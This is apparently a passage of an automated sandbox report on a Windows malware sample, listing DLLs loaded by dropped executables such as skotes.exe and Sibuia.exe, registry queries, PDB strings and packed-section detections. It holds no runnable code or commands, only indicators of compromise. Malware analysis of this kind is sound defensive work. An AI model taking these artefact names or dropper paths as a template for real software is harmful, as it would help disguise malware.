Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: apphelp.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: version.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: shfolder.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: uxtheme.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: windows.storage.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: wldp.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: profapi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: sspicli.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: winhttp.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: webio.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: mswsock.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: iphlpapi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: winnsi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: dnsapi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: rasadhlp.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: fwpuclnt.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: schannel.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: mskeyprotect.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ntasn1.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ncrypt.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ncryptsslp.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: msasn1.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: cryptsp.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: rsaenh.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: cryptbase.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: gpapi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: kernel.appcore.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: dpapi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: wbemcomn.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: amsi.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: userenv.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: uiautomationcore.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3061248 > 1048576

Source: file.exe

Static PE information: Raw size of htmesedz is bigger than: 0x100000 < 0x2b9800

Source:	Binary string: D:\apreltech\sib\Sibl\Release\Sibuia.pdb source: Sibuia.exe, 0000002C.00000002.3099779712.0000000000739000.00000002.00000001.01000000.00000016.sdmp, Sibuia.exe, 0000002C.00000000.3078840002.0000000000739000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\apreltech\sib\Sibl\SibClr\obj\Release\SibClr.pdb source: Sibjs.exe, 0000002E.00000002.3094008503.00000000115A2000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000005.00000002.3352179189.0000000001237000.00000004.00000020.00020000.00000000.sdmp, kf5cl0F.exe, 00000006.00000000.2672731249.0000000000632000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\apreltech\sib\Sibl\Release\SibJS.pdb source: Sibjs.exe, 0000002E.00000002.3084009169.0000000000F1F000.00000002.00000001.01000000.00000017.sdmp, Sibjs.exe, 0000002E.00000000.3081210732.0000000000F1F000.00000002.00000001.01000000.00000017.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W;htmesedz:EW;umtkotfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;htmesedz:EW;umtkotfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.170000.0.unpack :EW;.rsrc:W;.idata :W;htmesedz:EW;umtkotfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;htmesedz:EW;umtkotfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.170000.0.unpack :EW;.rsrc:W;.idata :W;htmesedz:EW;umtkotfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;htmesedz:EW;umtkotfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Unpacked PE file: 13.2.ANEDNjf.exe.480000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;
